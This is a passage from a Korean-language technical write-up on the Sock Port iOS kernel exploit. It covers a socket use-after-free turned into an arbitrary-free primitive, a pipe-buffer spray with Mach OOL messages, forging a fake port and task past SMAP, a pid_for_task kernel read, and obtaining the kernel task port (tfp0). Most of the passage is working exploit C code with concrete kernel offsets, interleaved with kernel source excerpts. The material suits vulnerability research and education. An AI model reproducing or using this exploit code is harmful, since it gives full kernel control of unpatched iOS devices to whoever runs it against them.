    uint64_t proc = rk64_check(task + 0x380);   //p/x offsetof(struct task, bsd_info)
    uint64_t p_fd = rk64_check(proc + 0xe8);   // p/x offsetof(struct proc, p_fd)
    uint64_t fd_ofiles = rk64_check(p_fd + 0x0);    //p/x offsetof(struct filedesc, fd_ofiles)
    
    uint64_t fproc = rk64_check(fd_ofiles + pipefds[0] * 8);
    uint64_t f_fglob = rk64_check(fproc + 0x8); //p/x offsetof(struct fileproc, f_fglob)
    uint64_t fg_data = rk64_check(f_fglob + 0x38);  //p/x offsetof(struct fileglob, fg_data)
    uint64_t pipe_buffer = rk64_check(fg_data + 0x10);  //p/x offsetof(struct pipebuf, buffer)
    INFO("pipe buffer: 0x%llx\n", pipe_buffer);

파이프 버퍼에 UAF해보기

우리의 최종 목표는 하나의 port를 완전히 제어하는 것이므로, 시스템이 port를 우리의 제어 가능한 영역인 pipe 버퍼에 할당하도록 만들어야 한다.

이를 위해 Socket UAF를 이용해 pipe 버퍼를 해제시킨뒤, Mach OOL Message를 스프레이하여 유효한 port를 해당 버퍼에 채워 넣을 것이다.

앞선 글에서 Socket UAF를 이용한 Kernel Read 기법을 설명했는데, 사실 이 방법은 임의의 커널 영역 해제를 구현하는 데도 사용할 수 있다.

read_20_via_uaf 함수와의 차이점은 스프레이가 성공한 뒤 내용을 읽지 않고, ip6po_pktinfo에 모두 0으로 채워진 구조체를 써 넣는다는 점이다. 이로 인해 ip6po_pktinfo가 가리키는 영역이 해제된다.

일반적인 이해대로라면, ip6po_pktinfo가 가리키는 버퍼를 해제할 때 그 길이는 ip6po_pktinfo 구조체 크기에 따라야한다. 그러나 커널 코드를 보면, 여기서는 FREE 함수를 사용해 zone 헤더에 기록된 사이즈를 자동으로 참조하여 해제 길이를 결정한다. 즉, ip6po_pktinfo가 가리키는 영역 전체를 기준으로 해제되므로, 임의 크기 영역 해제을 해제할 수 있는 Free primitive를 구현할 수 있다. 핵심 커널 코드는 다음과 같다:

// bsd/netinet6/ip6_output.c:3233
void ip6_clearpktopts(struct ip6_pktopts *pktopt, int optname) {
    if (pktopt == NULL)
    	return;
    
    if (optname == -1 || optname == IPV6_PKTINFO) {
    	if (pktopt->ip6po_pktinfo)
    		FREE(pktopt->ip6po_pktinfo, M_IP6OPT); // <-- free
    	pktopt->ip6po_pktinfo = NULL;
    }
    // ...

FREE는 kfree_addr를 감싸는(wrapper) 함수이며, kfree_addr 내부에는 주소를 기반으로 zone과 size를 얻는 로직이 포함되어 있다.

// bsd/sys/malloc.h:289
#define FREE(addr, type) \
	_FREE((void *)addr, type)

// bsd/kern/kern_malloc.c:624
void
_FREE(
	void		*addr,
	int		type)
{
	if (type >= M_LAST)
		panic("_free TYPE");

	if (!addr)
		return; /* correct (convenient bsd kernel legacy) */

	kfree_addr(addr);
}

// osfmk/kern/kalloc.c:537
vm_size_t kfree_addr(void *addr) {
    vm_map_t map;
    vm_size_t size = 0;
    kern_return_t ret;
    zone_t z;
    
    size = zone_element_size(addr, &z); //
    if (size) {
    	DTRACE_VM3(kfree, vm_size_t, -1, vm_size_t, z->elem_size, void*, addr);
    	zfree(z, addr);
    	return size;
    }
    // ...

이제 파이프 버퍼를 해제해보자.

위에서 언급했던 프리미티브를 이용하면 Pipe 버퍼를 손쉽게 해제할 수 있다.

// third primitive: free a kalloced object at an arbitrary address
int free_via_uaf(uint64_t addr) {
    // create a bunch of sockets
    int sockets[128];
    for (int i = 0; i < 128; i++) {
        sockets[i] = get_socket_with_dangling_options();
    }
    
    // create a fake struct with our dangling port address as its pktinfo
    struct ip6_pktopts *fake_opts = calloc(1, sizeof(struct ip6_pktopts));
    fake_opts->ip6po_minmtu = 0x41424344; // give a number we can recognize
    *(uint32_t*)((uint64_t)fake_opts + 164) = 0x41424344; // on iOS 10, offset is different
    fake_opts->ip6po_pktinfo = (struct in6_pktinfo*)addr;
    
    bool found = false;
    int found_at = -1;
    
    for (int i = 0; i < 20; i++) { // iterate through the sockets to find if we overwrote one
        spray_IOSurface((void *)fake_opts, sizeof(struct ip6_pktopts));
        
        for (int j = 0; j < 128; j++) {
            int minmtu = -1;
            get_minmtu(sockets[j], &minmtu);
            if (minmtu == 0x41424344) { // found it!
                found_at = j; // save its index
                found = true;
                break;
            }
        }
        if (found) break;
    }
    
    free(fake_opts);
    
    if (!found) {
        printf("[-] failed to setup freeing primitive\n");
        return -1;
    }
    
    for (int i = 0; i < 128; i++) {
        if (i != found_at) {
            close(sockets[i]);
        }
    }
    struct in6_pktinfo *buf = malloc(sizeof(struct in6_pktinfo));
    memset(buf, 0, sizeof(struct in6_pktinfo));
    
    int ret = set_pktinfo(sockets[found_at], buf);
    free(buf);
    return ret;
}

다음으로 Mach OOL Message를 스프레이한다.

합법적이고 제어 가능한 ipc_port를 얻기 위해 Mach OOL(Message) 메시지를 이용한 힙 스프레이를 수행하는데, 이때 remote port를 반드시 기록해두어야 한다.

이는 이후 메시지를 수신할 때 우리가 교체한 포트의 핸들을 다시 획득해야 하기 때문이다.

여기서는 Pipe 버퍼와 동일한 크기(0x10000)의 메시지를 사용하여, 포트 주소가 Pipe 버퍼에 정확히 채워지도록 만든다.

그렇다면 우리가 스프레이하는데 성공했는지 어떻게 확인할 수 있을까? 우선 사용한 target port의 주소를 구한 뒤, Pipe 버퍼에서 8바이트를 읽어오면 된다. (이전에 8바이트를 미리 써두었기 때문에, 여기서 읽히는 값은 첫 번째 포트의 주소일 것이다.)

만약 스프레이하는데 성공했다면, target port 주소와 Pipe 버퍼에서 읽어온 주소는 일치해야 한다.

// create a new port, this one we'll use for tfp0
    mach_port_t target = new_port();

// reallocate it while filling it with a mach message containing send rights to our target port
    mach_port_t p = MACH_PORT_NULL;
    for (int i = 0; i < 10000; i++) {
        
        // pipe is 0x10000 bytes so make 0x10000/8 pointers and save result as we'll use later
        p = fill_kalloc_with_port_pointer(target, 0x10000/8, MACH_MSG_TYPE_COPY_SEND);
        
        // check if spraying worked by reading first 8 bytes
        uint64_t addr;
        read(pipefds[0], &addr, 8);
        if (addr == target_addr) { // if we see the address of our port, it worked
            break;
        }
        write(pipefds[1], &addr, 8); // reset buffer position
        
        mach_port_destroy(mach_task_self(), p); // spraying didn't work, so free port
        p = MACH_PORT_NULL;
    }

fake port 및 fake task 셋업하기

앞서 Pipe Buffer에 채워 넣은 것은 여전히 사용자 모드의 포트일 뿐이며, tfp0 권한이 없다. 우리는 이 포트를 변조하여 tfp0 권한을 얻어야 한다.

하지만 SMAP의 존재로 인해, 우리가 위조한(fake) 포트와 fake task는 커널에서 정상적으로 접근되기 위해 반드시 pipe를 통해 커널 내로 복사되어야 한다. 따라서 새로운 pipe를 하나 더 생성한다.

Sock Port 익스플로잇의 소스코드를 보면 이 부분이 매우 정교하게 구성되어 있는데, 커널 내에 포트와 태스크 구조체를 담을 수 있는 연속된 영역을 할당하고, port->task가 그 바로 옆의 task 영역을 가리키도록 설정한다.

SMAP 환경에서는 커널이 참조하는 주소가 userland에 속하면 안 되기 때문에 task는 Pipe 버퍼 내의 공간을 가리키도록 만든다.

이렇게 하면 하나의 연속된 영역으로 포트와 태스크를 동시에 제어할 수 있게 되고, SMAP도 우회할 수 있다.

핵심 코드는 다음과 같다.

// second pipe, used for our fake port
    int port_fds[2] = {-1, -1};
    kern_return_t ret = pipe(port_fds);
    if (ret) {
        printf("[-] failed to create pipe\n");
        goto err;
    }

    // create fake port and fake task, put fake_task right after fakeport
    kport_t *fakeport = malloc(sizeof(kport_t) + 0x600);
    ktask_t *fake_task = (ktask_t *)((uint64_t)fakeport + sizeof(kport_t));
    bzero((void *)fakeport, sizeof(kport_t) + 0x600);

    fake_task->ref_count = 0xff;
    
    fakeport->ip_bits = IO_BITS_ACTIVE | IKOT_TASK;
    fakeport->ip_references = 0xd00d;
    fakeport->ip_lock.type = 0x11;
    fakeport->ip_messages.port.receiver_name = 1;
    fakeport->ip_messages.port.msgcount = 0;
    fakeport->ip_messages.port.qlimit = MACH_PORT_QLIMIT_LARGE;
    fakeport->ip_messages.port.waitq.flags = mach_port_waitq_flags();
    fakeport->ip_srights = 99;
    fakeport->ip_kobject = 0;
    fakeport->ip_receiver = ipc_space_kernel;

    //SMAP
    write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600);
    read(port_fds[0], (void *)fakeport, sizeof(kport_t) + 0x600);
    
    ...
    
    // align ip_kobject at our fake task, so the address of fake port + sizeof(kport_t)
    fakeport->ip_kobject = port_pipe_buffer + sizeof(kport_t);

이제 fake port를 사용하여 Pipe 버퍼에 존재하는 첫 번째 정상 포트를 교체한다.

마찬가지로 주의할 점은, SMAP 모드에서는 userland의 fakeport 주소가 아닌 port_pipe_buffer의 커널 주소를 써야 한다는 것이다.

이 시점에서 우리는 fakeport를 정상적인 포트 영역에 위치시켰고, 다시 말해 ipc_port 하나를 완전히 제어하게 된 것이다.

// spraying worked, now the pipe buffer is filled with pointers to our target port
// overwrite the first pointer with our second pipe buffer, which contains the fake port
    write(pipefds[1], &port_pipe_buffer, 8);

Mach OOL 메시지 수신하기

포트 핸들은 rights 정보를 포함하고 있기 때문에, 우리가 수행한 변조는 Pipe 버퍼에 존재하는 첫 번째 포트의 핸들을 변경하게 된다.

따라서 OOL 메시지를 수신하여 이 핸들을 다시 획득해야 한다.

기억하겠지만, 이전에 remote port를 기록해 두었는데, 이를 통해 우리가 보냈던 OOL 메시지를 수신하고 조작된 포트 핸들을 다시 읽어올 수 있다.

// receive the message from fill_kalloc_with_port_pointers back, since that message contains a send right and we overwrote the pointer of the first port, we now get a send right to the fake port!
    struct ool_msg *msg = malloc(0x1000);
    ret = mach_msg(&msg->hdr, MACH_RCV_MSG, 0, 0x1000, p, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    if (ret) {
        free(msg);
        printf("[-] mach_msg() failed: %d (%s)\n", ret, mach_error_string(ret));
        goto err;
    }
    
    mach_port_t *received_ports = msg->ool_ports.address;
    mach_port_t our_port = received_ports[0]; // fake port!
    free(msg);

이제 더 이상 이전의 target port 핸들이 아닌, fakeport에 대응하는 포트 핸들을 획득하게 된다.

이는 커널이 OOL 메시지를 사용자 공간으로 복사할 때 CAST_MACH_PORT_TO_NAME 매크로 함수를 실행하여 변환을 수행하기 때문이다.

// osfmk/mach/port.h:155
#define CAST_MACH_PORT_TO_NAME(x) ((mach_port_name_t)(uintptr_t)(x))

해당 매크로는 ipc_port의 헤더인 ipc_object의 상위 8바이트를 잘라내며, 이는 ipc_object 구조체의 앞 2개 멤버에 해당된다.

struct ipc_port {
    struct ipc_object ip_object;
    struct ipc_mqueue ip_messages; 
    // ...
};

struct ipc_object {
    ipc_object_bits_t io_bits; // 4B
    ipc_object_refs_t io_references; // 4B
    lck_spin_t	io_lock_data;
};

따라서 최종적으로 포트 핸들은 실제로 ipc_port 구조체 내의 io_bitsio_references 값으로 구성된다.

이제 ipc_port에 대한 완전한 제어 권한과 그 핸들까지 모두 확보하였다.

하지만 이 ipc_portvm_map을 가지고 있지 않기 때문에 아직까지는 정상적인 task 포트는 아니다…

pid_for_task 을 이용한 커널 읽기 프리미티브

pid_for_task 함수는 하나의 프로세스 포트를 인자로 받아 해당 프로세스의 PID를 조회하여 반환한다.

이 함수의 구현 원리는 다음과 같다.

int pid = get_ipc_port(port)->task->bsd_info->p_pid;

그리고 구조체 멤버 접근의 본질은 오프셋을 계산하는 것이다.

int pid = *(*(*(get_ipc_port(port) + offset_task) + offset_bsd_info) + offset_pid)

우리가 fakeport를 제어할 수 있기 때문에, 그 bsd_infoaddr - offset_pid로 변경할 수 있다.

이때(*(get_ipc_port(port) + offset_task) + offset_bsd_info) = addr - offset_pid가 되어, 위의 공식은 다음과 같이 동등하게 표현된다.

int pid = *(addr - offset_pid + offset_pid) = *addr

이 방식을 통해 addr 위치의 4바이트 데이터를 안정적으로 읽을 수 있고, 결과적으로 완벽한 커널 읽기 프리미티브를 구현할 수 있다.

uint64_t *read_addr_ptr = (uint64_t *)((uint64_t)fake_task + 0x380);   //p/x offsetof(struct task, bsd_info)

    //0x60 = p/x offsetof(struct proc, p_pid)
#define kr32(addr, value)\
    read(port_fds[0], (void *)fakeport, sizeof(kport_t) + 0x600);\
    *read_addr_ptr = addr - 0x60;\  
    write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600);\
    value = 0x0;\
    ret = pid_for_task(our_port, (int *)&value);

먼저 Pipe 버퍼를 통해 bsd_info를 수정한 뒤, fakeport 핸들을 pid_for_task에 전달하면 지정한 주소의 4바이트 데이터를 읽어올 수 있다.

여러 번의 kr32 호출을 조합하면 임의 길이의 데이터를 커널에서 읽는 것이 가능하다.

조합하여 아래 8바이트 커널 읽기 매크로를 만들 수 있다.

    uint32_t read64_tmp;
#define kr64(addr, value)\
    kr32(addr + 0x4, read64_tmp);\
    kr32(addr, value);\
    value = value | ((uint64_t)read64_tmp << 32)

커널 vm_map을 획득하여 tfp0 포트 생성

현재 프로세스의 task_port를 기반으로 모든 프로세스를 열거할 수 있으며, 이 과정에서 수백 번의 커널 읽기가 필요하다.

따라서 앞서 설명한 안정적인 pid_for_task 함수를 통한 커널 읽기 프리미티브를 활용해야한다.

proc는 양방향 연결 리스트이므로, 현재 프로세스부터 시작해 앞쪽으로 pid=0까지 순회할 수 있다. 그 후 커널 태스크에서 vm_map을 가져오자.

uint64_t struct_task;
kr64(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), struct_task);
if (!struct_task) {
    printf("[-] kernel read failed!\n");
    goto err;
}

printf("[!] READING VIA FAKE PORT WORKED? 0x%llx\n", struct_task);
printf("[+] Let's steal that kernel task port!\n");

// tfp0!

uint64_t kernel_vm_map = 0;

while (struct_task != 0) {
    uint64_t bsd_info;
    kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO), bsd_info);
    if (!bsd_info) {
        printf("[-] kernel read failed!\n");
        goto err;
    }
    
    uint32_t pid;
    kr32(bsd_info + koffset(KSTRUCT_OFFSET_PROC_PID), pid);
    
    if (pid == 0) {
        uint64_t vm_map;
        kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP), vm_map);
        if (!vm_map) {
            printf("[-] kernel read failed!\n");
            goto err;
        }
        
        kernel_vm_map = vm_map;
        break;
    }
    
    kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_PREV), struct_task);
}

앞서 얻은 커널 vm_map을 fakeport에 작성하면, 이제 합법적인 커널 태스크 포트를 가지게 된다!

read(port_fds[0], (void *)fakeport, sizeof(kport_t) + 0x600);
    
fake_task->lock.data = 0x0;
fake_task->lock.type = 0x22;
fake_task->ref_count = 100;
fake_task->active = 1;
fake_task->map = kernel_vm_map;
*(uint32_t *)((uint64_t)fake_task + koffset(KSTRUCT_OFFSET_TASK_ITK_SELF)) = 1;

if (SMAP) {
    write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600);
}

이 시점부터는 이제 tfp0 포트를 보유하고 있어, mach_vm 관련 메모리 함수를 사용해 이를 검증할 수 있다.

    tfp0 = our_port;

    uint64_t addr = kalloc(8);
    
    if (!addr) {
        printf("[-] seems like tfp0 port didn't work?\n");
        goto err;
    }
    
    printf("[*] allocated: 0x%llx\n", addr);
    kwrite64(addr, 0x4141414141414141);
    uint64_t readb = kread64(addr);
    kfree(addr, 8);

    printf("[*] read back: 0x%llx\n", readb);

참고 자료 및 출처